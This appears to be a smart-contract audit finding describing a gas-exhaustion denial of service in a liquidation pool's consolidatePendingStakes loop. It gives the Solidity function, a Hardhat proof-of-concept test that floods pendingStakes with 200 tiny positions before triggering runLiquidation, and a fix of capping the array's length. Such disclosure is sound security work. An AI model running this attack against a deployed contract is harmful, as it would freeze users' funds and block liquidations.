Because consolidatePendingStakes iterates over all pendingStakes in a loop, a malicious user could freeze the entire system.
function consolidatePendingStakes() private {
uint256 deadline = block.timestamp - 1 days;
for (int256 i = 0; uint256(i) < pendingStakes.length; i++) {
PendingStake memory _stake = pendingStakes[uint256(i)];
if (_stake.createdAt < deadline) {
positions[_stake.holder].holder = _stake.holder;
positions[_stake.holder].TST += _stake.TST;
positions[_stake.holder].EUROs += _stake.EUROs;
deletePendingStake(uint256(i));
i--;
}
}
}```
The function iterates over the `pendingStakes` array, updating positions and removing outdated stakes. However, as `pendingStakes` grows, the iteration becomes increasingly gas-intensive, potentially leading to an 'out of gas' error. This is particularly problematic since `consolidatePendingStakes` is a common component in key functions like `increasePosition`, `decreasePosition`, and even `runLiquidation`.
In `consolidatePendingStakes`, there is no DoS when an attacker attacks because pending stakes become more consumable when they pass their deadline.
DoS occurs 1 day after the attack.
POC:
```javascript
it.only('System DoS', async () => {
const ethCollateral = ethers.utils.parseEther('0.05');
await holder1.sendTransaction({to: SmartVaultManager.address, value: ethCollateral});
const tstStake1 = ethers.utils.parseEther('1000');
await TST.mint(holder1.address, tstStake1);
await TST.connect(holder1).approve(LiquidationPool.address, tstStake1);
for(let i =0;i<200;i++){
await LiquidationPool.connect(holder1).increasePosition(1, 0);
}
const fees = ethers.utils.parseEther('1000');
await EUROs.mint(LiquidationPoolManager.address, fees);
await fastForward(DAY);
await LiquidationPoolManager.runLiquidation(TOKEN_ID);
});
The entire system will stop.
Due to the structure, it's hard to prevent the problem from happening at all.
The best solution is to limit the length of pending stakes.